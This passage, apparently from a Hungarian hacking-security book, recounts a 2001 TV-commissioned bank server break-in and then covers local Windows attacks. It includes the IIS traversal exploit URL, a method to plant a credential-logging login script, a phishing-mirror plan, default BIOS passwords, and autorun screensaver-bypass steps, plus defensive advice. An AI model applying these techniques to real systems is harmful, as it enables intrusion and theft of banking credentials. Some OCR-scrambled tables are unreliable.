böngészőből. Azonosítás és kapcsolat A weboldalakhoz vezető útvonal így nézett ki: C:\Inetpub\Root\Bank. Ebben a könyvtárban volt egy alkönyvtár, amelybe csak egy kódolt kapcsolattal lehet bejutni. Ebben a könyvtárban volt azoknak a fájloknak a nagy része, amelyeket az online banki szolgáltatás használ. Az ügyfeleket felkérik, hogy gépeljék be 6- vagy 10-jegyű online számukat, PIN kódjukat, és a kívánt bankot (a •••-t vagy a •••-t). Ezeket az adatokat aztán egy Session Cookie-ban (kódolt, az SSL miatt) tárolja a rendszer. A szerver támadhatóságának tesztelése A webszerver egy fatálisán szabványos exploitra volt érzékeny: http://www....de/scripts/..%c255winnt/system32/cmd.exe Itt egy hibáról volt szó egy átadott parancs dekódolásánál és legitimációjánál, ami végrehajtáshoz vezet. Megjegyzés: az adminisztrátor ezt a könyvtárat könyörtelelnül törölhette volna, mivel a bank scriptjei nem hajtanak végre bináris fájlokat, illetve nincs szükségük ilyenekre. Az IIS „sípolta" a konzolfájlok kiadását, például a CMD.EXE-t, ezért egyfajta shellt kaptak a böngészőn keresztül, ha a CMD.EXE-t a /c paraméterrel (egyedüli parancs) futtatták. Tiltott kimenő kapcsolatok Az első terv az volt, hogy egyszerűen féltőkének egy trójait, ami azután kényelmes olvasási és írási elérést kínálna. Ez azonban meghiúsult azon, hogy tiltva voltak a kimenő kapcsolatok. Tehát engedélyezett kapcsolatból kellett olvasni és írni. Az olvasási elérés nem volt probléma: az olvasandó fájlokat a webkönyvtárba másolták, letöltötték, majd törölték. A bökkenő az írás volt. Alapvetően az echo DOS-paranccsal lehet fájlokba írni. A szövegkarakterekkel nem is volt gond, viszont bináris adatokat és metakaraktereket, mint pl.: <, l ,> nem lehetett írni. A támadási tervről Bináris fájlokat ASP-scripttel írnak, illetve töltenek fel. Az ASP-scriptet, amely szövegkarakterekből áll, meg lehet írni a CMD.EXE-vel. Mivel azonban az ASP-hez és a HTML-hez is metakarakterek szükségesek, és a sorok „komplex" módon épülnek fel, ezeket nem lehetett a böngészőn keresztül bevinni, mivel a sornak URL kódoltnak kellett lennie, a sok nem alfanumerikus karakter miatt, és ezért a legrosszabb esetben háromszor olyan nagy lehetett volna. A sorokat tehát cookie-ként küldték el. Az adatok, mint például a HTTP_AGENT vagy a Remote-IP minden kérdésnél, környezeti változóként tárolódnak, és ezzel felhasználhatók más alkalmazások számára is, amelyeknek a webszerver a környezete. A cookie-t mint HTTP_COOKIE-t tárolták, és ezután az echo+%HTTP_COOKIE% -val egyszerűen lehetett írni. Az utolsó és legnagyobb dobás az volt, hogy a metakaraktereket idézőjelekbe csomagolva a szintakszisnak megfelelően írták (az ASP-scripthez). Amint a feltöltő-script a szerveren volt, át lehetett írni a bejelentkező-scriptet úgy, hogy a bejelentkező adatok a felhasználói űrlapról közvetlenül egy logfájlba vándoroljanak.
1.3.7 Az adatletöltés A megváltoztatott scriptek a C:\Temp\ 000043FA.ini könyvtárban tárolják a bank ügyfeleinek folyószámlaszámát, PIN-jét és IP-jét. Hogy ezt a fájlt le lehessen tölteni, ahhoz először a webkönyvtárba kellett másolni, majd egy hiperhivat-kozáson keresztül lehetett letölteni. Végül a fájlt törölni kellett, hogy ez a folyamat ne legyen olyan könnyen felfedezhető. Figyelembe kellett venni, hogy az első lépés már el volt intézve, és ezért itt már nem kellett foglalkozni vele!
A Bank.dat képernyője
A logfájlokból kapott adatokkal most már be lehetett jelentkezni az ügyfelek folyószámlájára.
Egy folyószámla képernyője
Egy részvény-portfólió képernyője
S még arra is nyílt lehetőség, hogy egy pillantást vessenek az ügyfelek részvényletétjére.
1.4 Utóirat a bank-hackeléshez A logfájlok áthúzása 2001.08.04-től 2001. 08.31-ig folyt. Ebben az időben több mint 1,5 millió adatot (online számokat, pineket, IP-címeket) mentettek le. Az adatokat végül az NDR jogi osztályának adták át, ahol bezárták egy széfbe ezeket. A •• bank a Hamburgi Területi Bíróságon 2001.10.04-én elérte, hogy Ideiglenes Intézkedést adjanak ki, amelyben úgy ítéltek, hogy minden adatot vissza kell szolgáltatni nekik. Az NDR bizonyítékként csak egy másolatot tartott meg, amelyet egy semleges közjegyzőnek adtak át Hamburgban, és ott egy széfbe zárták.
1.5 Összefoglalás Az említett eseményeket követően a könyv szerzője elbeszélgetett az ismert német biztonsági
szakértővel, Marc Riief-fel, a bankok biztonsági problematikájáról. Ruef pontosan ismeri a gondot, mivel néhány nagy bank biztonsági tanácsadója. A következőket mondta: „Sok bank webes fellépése megosztott. Ezzel azt akarom mondani, hogy van egy nyilvános rész, amelyet mindenki elérhet (WWW/HTTP). Azután van egy félig nyilványos terület, az e~banking, ahová csak az ügyfelek léphetnek be megfelelő azonosítást követően (WWW/SSL/SHTTP/ jelszóvédelem). A nyilvános részt elhanyagolhatják, ami gyakran így is történik (nem viszik túlzásba a biztonsági mechanizmusokat és irányvonalakat). Az e-banking területet védeni kell, és ez meg is történik (a legújabb patchek, biztosított rendszer, erős irányvonalak, megfelelő biztonsági intézkedések). A megfelelő szoftver és hardver a naplózáshoz és a biztonsághoz (pl. tűzfal-elemek és Intrusion Detection System) a pénzügyi szektorban aránylag gyakran a rendelkezésre áll (ellentétben más terület hálózati kapcsolattal működő cégeivel). Ezeknek az adminisztrációja is többnyire jó - de sajnos nem nagyon jó - kezekben van. Szerintem a bökkenő a kiértékelésnél van. Az erre hivatott rendszeradminisztrátorok, biztonsági megbízottak vagy auditorok nem tudnak mit kezdeni a biztonsági rendszer logfájljaival, mivel nincs meg a szükséges háttértudásuk. Ösz-szességében azt kell, hogy mondjam: vannak ilyenek és olyanok is. Láttam már olyan banki számítógépeket, hogy a legszívesebben abban a minutumban mondtam volna fel a folyószámlámat. És persze vannak olyan intézmények is, amelyek kitűnő kompetenciával tűnnek ki. Nem szabad valamennyit egy kalap alá venni. Mindenesetre bőven van még tennivaló..."
1.6 Sajtóbeszámolók A bank-hackelés világszerte nagy visszhangot keltett. Számtalan újság és rádióállomás számolt be az akcióról. Ebben az összefüggésben újra és újra előkerült a biztonság kérdése, íme két érdekes vélemény. A www.newsbytes.com és a www.washingtonpost.com tudósításai Német tv-s hackerek bankszervert törtek fel per van kilátásban Ned Stafford, Newsbytes MÜNCHEN, NÉMETORSZÁG 2001. szept. 17., du. 4:51 ••••, Németország egyik legnagyobb bankja, a bank szóvivője szerint jogi lépéseket tervez egy népszerű fogyasztói high-tech tv-show ellen, amely hackereket szerződtetett, hogy feltörjék a bank online banking szerverét. Cornelia Klaila, a ••• müncheni szóvivője, ezt nyilatkozta a Newsbytes-nak: „Amit tettek, az törvénytelen. Nagyon törvénytelen. Az „ők", akikre utalt, a Technikai Tanácsadó nevű tv-show, amelyet az ARD, Németország két közszolgálati tévéhálózatának egyike gyárt. A Technikai Tanácsadó augusztusban felfogadott néhány fiatalembert, hogy betörjenek a ••• online banki szerverébe, és információkat töltsenek le az ügyfelek számláiról. Az információk neveket, számlaszámokat, PIN-számokat és internetes IP-számokat tartalmaztak, amelyek fontosak a biztonságos online banki szolgáltatáshoz. A sztorit vasárnap este közvetítették. Bernd Leptihn, a Technikai Tanácsadó (Ratgeber Technik) hírszerkesztő csoportjának hamburgi vezetője azt nyilatkozta a Newsbytes-nak, hogy nem aggódik a ••• perindítása miatt. Leptihn, aki 27 éve a Technical Adviser frontembere, de most a kamera mögött dolgozik, így ékelődött: „Tudják, én 30 éve csinálok törvénytelen dolgokat. Voltak pereim ezelőtt is, de mostanáig soha nem vesztettem el egyetlen ügyet sem." Azt mondta, hogy az ARD jogi részlege szerint az ilyesfajta oknyo-mozó újságírást megengedi a német jog, ha az „a köz érdekét szolgálja". Leptihn szerint, aki amúgy jól ismert személyiség Németországban, a nyilvánosság informálása a ••• számítógépének hiányosságairól nagyon is a köz érdekében történt. „A (bankszámla) információkkal, amelyeknek a birtokába jutottunk, most akárhol is lehetnénk a világban, millió és millió euró birtokában" mondta.
Leptihn arra is utalt, hogy a kutatás megmutatta, hogy a ••• banknál bizony van néhány nagy biztonsági rés. A bank a Microsoft Internet Information Serverét (IIS 4.0) használta. A Technikai Tanácsadó megbízott egy négytagú hackercsapatot. Azt nem árulta el, hogy mennyit fizettek nekik, de ez „nem volt sok". A fiatal hackerek inkább abban voltak érdekeltek, hogy publicitást nyerjenek induló internetes biztonsági tanácsadó cégüknek - mondta. Négyük közül az egyik Stephan Weide, 22 évesen a Multimedia Network Systems cég ügyvezetője Leinefeldében. Weide azt nyilatkozta a Newsbytes-nak, hogy a betörés a ••• számítógépébe csak két-három napot vett igénybe, és „igazán nem volt gond, bárki meg tudta volna tenni." Miután a Technikai Tanácsadó vasárnap éjszaka a tévében megszellőztette az ügyet, Weide azt mondta, hogy ő és a csapata részt vettek egy telekonferenciás hívásban a ••• technikai személyzetével, hogy megmondják nekik, hogyan tudják befoltozni a réseket. Mikor megkérdeztük, hogy a technikaiak hangot adtak-e haragjuknak a hackelés miatt, azt mondta: „Nem mondtak csúnya szavakat. Azt hiszem, féltek, hogy elveszítik az állásukat." Weide és Leptihn elmondták, hogy a ••• online banking oldala vasárnap késő éjjeltől kezdve úgy hat órára leállt. Klaila, a bank szóvivője, ezt nyomatékosan kétségbe vonta, s azt állította, hogy a weboldalt a szokásos rendszeres karbantartás és nem a biztonsági rések kijavítása miatt állították le. Azt is jelezte, hogy a ••• bank ezen a nyáron egy új online weboldalt helyezett üzembe, és hogy ez az oldal state-of-the-art rendszer, ami biztonságos. Augusztus hónap folyamán - mint mondta mindkét oldal, a régi és az új is online-ban voltak, és a hackerek a régi weboldalra, és nem az újra törtek be. A régi weboldalt szeptember elején offline-ba helyezték. Leptihn viszont vitatta, hogy az új oldal az utolsó éjszaka előtt biztonságos lett volna. „A hackereink ismét próbálkoztak az új site-on, és sikerrel jártak" -állította. Klaila azt mondta, hogy bűntetőjogi és polgári peres kártérítési per is lehetséges a Technikai Tanácsadó ellen. „Még el kell döntenünk, mit is akarunk tenni." - vélekedett. A zdnet.de News tudósítása ARD: Online banki szolgáltatásbeli hiányosságokat lepleztek le PIN-eket és TAN-eket olvastak ki bekapcsolt kamera előtt. 2001. szeptember 17., 08:46 óra Thüringiai hackerek a Ratgeber: Technik ARD-magazin megbízásából, működő kamera előtt törték fel a ••• biztonsági mechanizmusait, így a szerkesztőknek és a szakértőknek a műsor adatai szerint lehetővé vált néhány napon belül 1,5 millió online könyvelési akciót megszerezni, beleértve titkos kódokat (PIN), az online-számokat (TAN) és az IP-címeket. Ahogy az ARD a továbbiakban közölte, a hackereknek dispo-kredit adatokat is sikerült elérniük, s így, a számlákat a kimerítésig terhelhették volna. Behatolásuk bizonyítására a betolakodók csupán egy 100 márkás könyvelésre „korlátozták magukat". A tévéadó komputeres szakemberei ismételten óvtak a trójaiktól, amelyek értelmetlenné teszik a pénzintézet kódolási eljárását. Még egy laptoppal és egy adatátvitelre alkalmas mobiltelefonnnal is gond nélkül lehet jogosulatlanul pénzt átutalni. Miután a magazin figyelmeztette a •••-t központi számítógépének a hiányosságaira, egy új log-in redszert vezettek be. Az adó által felfogadott hackerek azonban ebben az átdolgozott programban is találtak réseket. A Ratgeber szerkesztősége szerint azért a •••.t választották, mert ez a bank különösen „lukacsosnak" bizonyult a jogosulatlan hozzáférésekkel szemben. De elvileg sok más banknál és takarékpénztárnál is lehetséges lenne egy virtuális betörés.
1.7 Tapaszatalatok más bankoknál Nem csak a ••• nincs felvértezve a támadások ellen, más bankoknál is csak félig-meddig
sikeresek a szerverük védelmére irányuló intézkedések.
1.7.1 Forgatókönyv a takarékpénztár-területen 2001 októberében a szerző újabb megkeresést kapott valakitől, aki a különböző bankok visszásságainak a feltárására tararékpénztárak biztonsági auditjával bízta meg. A tapasztalatokból, amelyeket az előző akciókból gyűjtöttek, a következő terv született. Nyíltszívűen - a kleinmusterhauseni takarékpénztár Ennek a tararékpénztárnak olyan az internetes megoldása, mint a legtöbbnek Németoszágban: két részből áll. Van a nyilvános rész, amelyben az ügyfél az illető tararékpénztárról információt szerezhet, és amelyen keresztül egy linkkel a folyószámlájához jut. Ez általában egészen egyszerű felépítésű. Többnyire egy helyben lévő vagy szolgáltatón keresztül kezelt szerverről van szó, amely csak nagyon egyszerűen védett, és a rendszergazda is szívesen elhanyagolja. Ezen a webszerveren gyakran tisztán reprezentatív célokból futnak olyan alkalmazások, amelyek nagyon támadhatóvá teszik a szervert. A második terület a tulajdonképpeni e-banking. Ezt a takarékpénztáraknál gyakran számítóközpontok kezelik. A szerverek többnyire jól védettek, és ki lehet indulni abból, hogy egy támadás ez ellen a számítógép ellen semmiféle sikerrel sem járna.
Bepillantás egy német tararékpénztár jelszó-fájljába, egy maghatározott URL begépelésével
Itt az átmenet a home-bankinghoz
A támadási terv Először egy biztonsági rést próbáltak keresni, amely lehetővé teszi az illető bank, illetve takarékpénztár nyilvános szerverének az elérését. Ez ebben az esetben egy script-hiba vagy egy hibás FTP-szerver lenne, amelyen többnyire HBCI-eszközök meghajtóit vagy különböző online banking szoftverek frissítéseit tárolják. A betörés után megváltoztattak minden oldalt, amelyek a számítóközpontban elhelyezett tulajdonképpeni e-banking gépre mutattak. Isten hozta a tararékpénztárnál -csak az URL-nek kell a megfelelőnek lenni
Példa egy tararékpénztári oldal forrásszövegére megfelelő linkeléssel a számítógép-központhoz
A hamisítvány veszi át a szerepet A megfelelő oldal külleméről és működési módjáról rendelkezésre álló információk alapján
hozzákezdtek egy hamisítvány felépítéséhez. Ez a hamisítvány a tuljdonképpeni e-banking számítógépet „tükrözné", tehát az ügyfeleket a helyi tararékpénztár prezentációjáról a megváltoztatott Folyószámla vagy Onlinebanking link közvetlenül a hamisítványra vezeti. Az ügyfél ugyanazokat az információkat és opciókat látja maga előtt, mint a valódi e-banking gépen. Ha most egy átutaláshoz beírja az adatokat, ezek az adatok egy logfájlban landolnak. Mivel a tranzakciók egyike sem lesz végrehajtva, hanem csak a logfájlba vándorol, a tranzakciószámok továbbra is érvényben maradnak. „A kockázatokról és mellékhatásokról kérdezze banki tanácsadóját!"
2. fejezet - Tartalom 2.1
A hackeren túl - merevlemez-fejreállás, adatbetekintés vagy lopás 2.1.1 Különbségek a Windows 9x, az NT és utódai között 2.1.2 A fizikai támadás 2.1.3 Képernyővédő-jelszó - a bennfenteseknek nem okoz problémát 2.1.4 Automatikus lejátszás - a betörés előkészítése CD-vel
2.2
A jelszavak kikémlelése 2.2.1 Érdekes jelszavak szinte mindenütt akadnak 2.2.2 A jelszófájlok 2.2.3 Jelszavak a Windows 2000 alatt
2.3
A távoli elérésű támadás internet- vagy hálózati felhasználók, vigyázat! 2.3.1 A fájl- és nyomtatómegosztás - veszélyes biztonsági rések 2.3.2 Mik azok a szkennerek, és hogyan működnek? 2.3.3 Milyen lehetőségeik vannak a betolakodóknak? 2.3.4 Jelszóval védett megosztások 2.3.5 Brute Force-rohamok a megosztási jelszavak ellen 2.3.6 Óvintézkedések
2.4
További támadási technikák
A Windows-rendszerek (9x, NT, 2000) gyenge pontjai
Míg a Windows 95/98/ME fejlesztésénél a Microsoft a felhasználóbarátság kedvéért elhanyagolta a biztonságot, a professzionális területre készült termékek (Windows NT 4.0 és Windows 2000) tervezésénél sokkal tudatosabban koncentrált erre a témára. A hackereket egyenesen csalogatják a gyenge pontok, hogy behatoljanak a rendszerekbe. Ráadásul a felhasználói operációs rendszerek gazdái is nagyon megkönnyítik a támadók dolgát. A Windows 95/98/ME felhasználóinak (és valószínűleg azok nagy részének is, akik a Windows XP Home Editionnel fognak dolgozni) többnyire csak csekély ismeretei vannak a biztonságról, és azokról a veszélyekről, amelyeknek az adataikat kiteszik. Mivel az adataink nem csak az internetes szörfözés közben vannak veszélyben, ez a fejezet az adatbiztonság egészével foglalkozik, ami a BlOS-jelszónál kezdődik.
2.1 A hackeren túl - merevlemez-fejreállás, adatbetekintés vagy lopás A biztonság tulajdonképpen az adatok biztosítási lehetőségeinek az alapvető mérlegelésénél kezdődik, ami sok - a legtöbb? - esetben egyáltalán nem történik meg. Manapság szinte minden számítógép-használónak vannak olyan adatok a gépén, amelyeknek az elvesztése, illetve az újbóli előállítása a PC árának többszörösébe kerülne. És akkor a további kockázatokat, például egy lopásét, még figyelembe se vettük: ugyan ki szeretné az utolsó adóbevallását vagy bizonyos leveleit rossz kezekben tudni? Az egyedülálló PC-t ugyan inkább a külső hatások (vírusok, lopás stb.) vagy a hibás kezelés veszélyezteti, ennek ellenére rengeteg más lehetőség is van hozzáférni a személyes adatokhoz: otthon vagy az irodában alapvetően mindenki odaülhet a géphez - és még a legfifikásabb BIOS-jelszó sem ér sokat, ha
a számítógép ebédszünetben bekapcsolva marad. Hogy mennyire biztonságosak a jelszóval védett képernyőkímélők, azt a későbbiekben megmutatjuk. A magánfelhasználók, de gyakran még a vállalatok is visszariadnak egy jó tűzfal költségeitől, vagy a kényelem kedvéért lemondanak a BIOS-jelszóról, Így a felhasználók ezekkel az operációs rendszerekkel a jövőben is könnyű prédái lesznek mindenfajta hackertámadásnak.
2.1.1 Különbségek a Windows 9x, az NT és utódai között A különböző operációs rendszerek közötti alapvető különbség, ami igazán csak most, az XP-vel fog megszűnni: az eddigi Windows 9x vonal csak korlátozott védelmet (BIOS-jelszó) kínál a jogosulatlan felhasználás ellen. Az NT vagy a Windows 2000-es gépeknél ott van még a jelszavas bejelentkezés, mint köztes fokozat, amely növeli a biztonságot. Emellett az NT-nél és a Windows 2000-nél az adatokat már eleve zárolni lehet, ami a 9x-nél kiegészítő szoftvertől függ. A Windows 95/98/ME-t érő támadásoknak két fajtáját kell megkülönböztetni. Az egyik a fizikai támadás, amit olyan valaki hajt végre, akinek közvetlen elérése van a rendszerre, a másik a távoli elérésű támadás, amelyet az internetről indítanak.
2.1.2 A fizikai támadás A számítógépek védelmének nem túl gyakori módja a BIOS-jelszó beállítása, amelyet a felhasználónak a számítógép minden indításához be kell írnia, mielőtt a grafikus felület megjelenne. Sajnos, a hackereknek arra is vannak módszereik, hogy ezt a védelmet megkerülve jussanak be a rendszerbe. Alapigazság, hogy minél öregebb egy számítógép, és vele együtt a BIOS, annál könnyebb kikerülni, illetve feltörni a védelmet. A BIOS-jelszavas lezárás megkerülésének, illetve feltörésének három alapvető módját különböztetjük meg: • általános jelszó használata a jelszó megszerzése a memóriából • a CMOS szoftverének törlése
Általános jelszó használata A különböző BIOS-verziók gyártói adnak egy általános vagy default jelszót, arra az esetre, ha a biztonságáért aggódó felhasználó egyszer el találná felejteni a jelszavát. Ezekkel a jelszavakkal a számítógépet az utoljára használt és mentett jelszótól függetlenül lehet elindítani. Ezeket a jelszavakat számos oldalról be lehet szerezni az interneten, de valójában a legtöbbnél kérdéses, hogy vajon még működnek-e, vagy már teljesen elavultak. Ezeknek a jelszavaknak a többségét sikerrel teszteltük, a használatuknál azonban figyelni kell az amerikai billentyűzetkiosztásra. Gyártó: Award
Gyártó: AMI
BIOSSTAR
PASSWORD
BIOSTAR
Gyártó: Phoenix
Password-BlOS-Hacker Oren Levytől
Program
BIOS
Szerző
Forrás
AMIDECOD
AMI
Danny Soft
www.hackerzbook.de
Award Modular Bios
Award
The Immortal
www.hackerzbook.de www.hackerzbook.de
Altalános jelszavak
crack tool
PHOENIX
aLLy
CrackAmiBios 1.1
AMI
Ismeretlen
Ami
phoenix
Wodj
Password
általános
Oren Levy - Dynam ic
www.hackerzbook.de
ALFAROME
A.M.I.
CMOS
SZYX
Password (C)alculator AWARD
FalCoN 'N' AleX
www.hackerzbook.de
q_127&z
AMI?PW
BIOS
Syxz
for AWARD BIOS
J64
AMI?SW
Sxyz
J262
AMI_SW
SKY_FOX
J256
AMI
setup
j262
SER
j256
LKWPETER
AWARD_SW
Ikwpeter
589589
HLT
AWARD_PW
CONDO
AWARD_PS
awkward
AWARD?SW
BIOSTAR
AWARD SW AWARD 589721 Általános BlOS-jelszavak
A jelszó megszerzése a memóriából A jelszó memóriából történő megszerzése feltételezi, hogy a gép már elindult, ilyenkor ugyanis segédprogramokkal el lehet érni a memóriában tárolt jelszót. A különböző BIOS-verziókhoz különböző programok vannak, amelyeket könnyen be lehet szerezni az internetről.
Programok a jelszó kiderítéséhez a memóriából
A CMOS szoftverének törlése Ha a hacker nem talál általános jelszót vagy megfelelő segédprogramot, nem marad más hátra, mint törölni a BIOS-t, és azzal együtt a jelszót is. Azt persze figyelembe kell vennie, hogy ilyenkor a rendszerbeállítások is elvesznek. A BIOS törléséhez megint csak segédprogramokat használnak a „betörők", ezek közül az egyik legismertebb a KiLLCMOS32. Ez a segédprogram minden beállítást töröl, és minden BIOS-verzióhoz használható. Mindenesetre a rendszernek már futnia kell a használatához. A KiLLCMOS32 minden BlOS-beállitást megbízhatóan töröl
A program egy érvénytelen értéket helyez el a CMOS-ban, és ez úgy hat, hogy minden ott tárolt adatot (a jelszót is) újra meg kell adni. A használatának a feltétele azonban az, hogy a számítógép már működik, és szabad a hozzáférés. A http://www.memosys.com/passwort/faq.htm címen további információk találhatók a BIOS-jelszavakról. A jobban informált internet-felhasználók néha azt hiszik, hogy egy rendszert csak az internetről érhetnek támadások, és ez ellen egy tűzfallal jól meg is védik a gépüket. De mi van akkor, ha valaki mondjuk az ebédszünetben fizikailag fér hozzá a számítógéphez? Milyen módszereket fog alkalmazni, hogy kikerülje a képernyővédőt és jelszavakat olvasson ki?
A Windows a jelszó megerősítését kéri
2.1.3 Képernyővédő-jelszóa bennfenteseknek nem okoz problémát Hogy a számítógépünk rövid távolléteink alatt is védve legyen a kíváncsi szemektől, arról a Windows 95/98/ME alatt a legegyszerűbben képernyővédőjelszóval gondoskodhatunk. Ez a képernyővédő bekapcsolása után csak a megfelelő jelszót megadó felhasználónak engedi meg a rendszer elérését. Ha a Windows csővezetéket épít vagy Beziergörbéket mutat - csak jelszóval lehetséges a visszatérés
így lehet feltörni a jelszóvédelmet Az alábbiakban megvilágítjuk, milyen könnyű egy képernyőkímélő jelszavát kikapcsolni, illetve kikerülni, ha a hackernek ehhez elég ideje és tudása van.
Újraindítás Windows 95/98/ME alatt a Képernyő tulajdonságai ablakban a Képernyőkímélő regiszterlapon a képernyőkímélő bekapcsolása után zárolni lehet a rendszer elérését. Ha mások is hozzáférnek a PC-nkhez, alapvetően be kell állítanunk ezt a jelszót, mert különben könnyen űzhetnek velünk csúnya tréfát: képzeljük el, hogy valaki három perc után induló jelszavas képernyővédőt állít be a gépünkön. Ezután elég egy rövid szünet (telefon vagy hasonló), és máris megakasztotta a munkánkat. Hiszen jelszó híján nem jutunk a PC-hez újraindítás nélkül. Akkor viszont elveszhetnek az adatok, amelyeket esetleg még nem mentettünk el - nagy az ár.
Igazán dühödt, primitív, de hatásos módszer a képenyőkímélő-jelszó kikerülésére: a számítógép újraindítása a rését gombbal. Figyelembe kell venni, hogy a nem mentett adatok minden esetben elvesznek, így például a nem mentett Word-dokumentumok vagy a nyitott fájlok stb. Szerencsére ilyenkor a rendszer felhasználója észreveszi a behatolást.
Taskmanager - kapu a betörőnek Windows 95 alatt Windows 95 alatt a Microsoft még egyszerűbb módot kínál a képernyőkímélő kikerülésére: a Ctrl+Alt+Del billentyűkombináció lenyomásával • mondhatni „majomfogással" - célzottan be lehet zárni a képernyőkímélő program taskját.
Rossz csillagzat alatt született a védelem: egy egérkattintással be lehet zárni a képernyőkímélőt
Védelmi lehetőség Windows 95 felhasználóknak Ez ellen a támadás ellen csak a Windows 95 Windows 98/ME-re frissítése nyújt védelmet. A képernyőkímélő-jelszó elkerülésének ilyen kísérletei az NT/2000-nél is hatástalanok. A későbbiekből az is ki fog derülni, hogyan is lehet feltörni az ilyen jelszót, mert a jelszavas védelem is csak korlátozott mértékben nyújt biztonságot. A jelszó megfejtése a megfelelő szoftvereszközzel igazán egyszerű, jobb, ha tudjuk, hogy mennyire az. így persze rögtön magunkon is segíthetünk, ha elfelejtettük a saját jelszavunkat.
2.1.4 Automatikus lejátszás a betörés előkészítése CD-vel A PC-t a BIOS-szal, a képernyőkímélőt jelszóval zároltuk, és talán még a jelszót is úgy választottuk meg, hogy az betűk és számok kombinációjából álljon - most aztán a PC-nk szünetben is bevehetetlen, vagy lehet, hogy mégsem? A következőkből kiderül, hogy milyen eszközöket vethet be ebédszünetben egy potenciális hacker, hogy minden igyekezetünk ellenére hozzáférjen az adatainkhoz.
A Windows 95/98/ME a CD-ROM-meghajtóhoz alapértelmezésként az autoplay (automatikus lejátszás) opciót használja, amelyet a Microsoft Knowledge Base Article Q141059 a következőképpen definiál: „A Windows folyamatosan ellenőrzi a CD-ROM-meghajtót, hogy megállapítsa, helyeztek-e bele CD-ROM-ot. Ha ilyen lemezt fedez fel, ellenőrzi, hogy van-e rajta autorun.inf-fájl. Ha a CD tartalmaz ilyen fájlt, akkor végrehajtja a fájl open= sorába írt parancsokat." Megjegyzés: ezt a témát még a 4.fejezet is tárgyalja, mert az automatikus lejátszás funkciót gyakran használják trójai vírus becsempészésére idegen rendszerekbe. Ehhez lehet a rendszer esetleg futó internetkapcsolatait (vagy hálózatoknál a LAN-kapcsolatokat) használni, és így a PC-hez a képernyőkímélő-jelszó ellenére hozzá lehet férni. Ha a trójai már bent van, a képernyőkímélő-jelszót egészen egyszerűen ki tudja kerülni. Egy ilyen hozzáféréssel a képernyőkímélő-jelszót is ki lehet kapcsolni úgy, hogy: HKEY_CURRENT_USER/Control Panel/desktop/ScreenSaveActive Registrykulcs értékét nullára állítjuk. Van néhány program, amelyeket az automatikus lejátszás funkcióval, a jelszómegadást kikerülendő, fel lehet másolni. Ezeknek a programoknak egyike a Clean Screen. Íme, a használati utasítás, amellyel szükség esetén magunkat is kiszabadíthatjuk (az előkészületeket azonban előre meg kell megtenni, nehogy túl késő legyen): 1. Letölteni (www.hakerzbook.de) és kicsomagolni a ZIP fájlt! 2. Az EXE fájlt és az autostart-ini-t CD-re írni. A két fájlnak a könyvtárfán egészen felül kell lennie, tehát ne valamilyen alkönyvtárba másoljuk. 3. Ha a CD-írás elkészült, akkor egyszerűen próbáljuk ki egyszer a saját PCnken. 4. Képernyőkímélő-jelszó beállítása, majd várakozás, míg a képernyőkímélő elindul. 5. Tegyük az újonnan megírt CD-t a meghajtóba, és várjunk, amíg a PC hangszórója sípolni kezd. Ha nincs bekötve, egyszerűen várjuk ki, míg a CD-ROM-meghajtó leáll. 6. Ezután már csak írjuk be a jelszó lekérdezésére az 123-at, és a képernyőkímélőnek el kell tűnnie!
7. Ezután a program kiírja a régi jelszót, és a Régi érték beállítása paranccsal vissza lehet állni rá. Ha ezt nem tesszük meg, aktuális jelszóként a 123-at tárolja. A képernyőkímélő-jelszó megszerzése autoplay CD-vel
A képernyőkímélő jelszó kikódolása A képernyőkímélő jelszót a Windows 95/98/ME alapértelmezésként a HKEY\USERS\.Default\Control Panel\Sreen_Save_Data Registry-kulcsban tárolja. A kódolása nagyon egyszerű, és számos programmal feltörhető. A legtöbb programnak az a hátránya, hogy csak akkor működik, ha a képernyőkímélő még nem aktív (hogy mit tehetünk, ha már az, azt már tudjuk). Jelszófeltörő program működés közben
Védekezés az automatikus indításos támadások ellen Ezeket a támadásokat úgy védhetjük ki, ha a Windows 95/98/ME alatt kikapcsoljuk az automatikus lejátszás funkciót. Ez a következőképpen működik: A Vezérlőpulton kattintsunk duplán a Rendszerre, válasszuk az Eszközkezelő fület, kattintsunk duplán a CD-ROM-ra, és aztán a CD-ROM meghajtófára. A Beállítások regiszterlapon távolítsuk el a pipát az Automatikus lejátszás elől. Itt találjuk a döntő fontosságú pipácskákat
Néhány program a képernyőkímélő-jelszó feltöréséhez: Program SCR-it! - 1 .0 verzió SCRNLOCK SS_D 1.0 Win95 Screen Saver Password Cracker v1 . 1
Szerző Yoto Yotov Yoto Yotov Bubble nobody
weboldal www.hakerzbook.de www.hakerzbook.de www.hakerzbook.de www.hakerzbook.de
Programok a képernyőkímélő-jelszó feltöréséhez
2.2 A jelszavak kikémlelése 2.2.1 Érdekes jelszavak szinte mindenütt akadnak A helyi támadásoknál nagy szerepe van a jelszavak kikémlelésének. Jelszófeltörők segítségével a hackerek szinte minden, Windows alatt tárolt jelszót meg tudnak szerezni, hogy azután elérjenek velük jelszóval védett fájlokat, az
internetet vagy a hálózatot, illetve ezek bizonyos területeit. Sajnos, a Microsoft nagyon megkönnyíti a betolakodóknak, hogy hozzáférjenek ezekhez az információkhoz, a felhasználóknak pedig egyre nehezebbé teszi a jelszavak elrejtését. Erre egyszerű példák találhatók az Internet Explorernél és a telefonos kapcsolatnál. Az Internet Explorer a 4. verziótól kezdve egy automatikus kiegészítést használ, amely a belépési adatok megadása után megkérdezi a felhasználótól, hogy szeretné-e menteni ezeket.
A dortmundi államügyészségnél több mint 1000 eljárás van folyamatban gyanúsítottak ellen egész Németországban. (dpa) Forrás: www.silicon.de Internetezzünk olcsón sokkal több nem is kell hozzá
Praktikus segítség a felhasználóknak és a betörőknek - az automatikus kiegészítés
Az így tárolt információkat egy jelszófeltörő segítségével nagyon könnyű kiolvasni. Különösen veszélyes ez a telefonos kapcsolatnál, mert akár odáig vezethet, hogy valaki, az adatokat kiolvasva, a felhasználó költéségén szörfözhet az interneten. íme egy aktuális példa: 2001. november 5. hétfő
de. 10:30
Németország: Hackerek milliós csalása ... Jelszavak ezreit törték fel
.
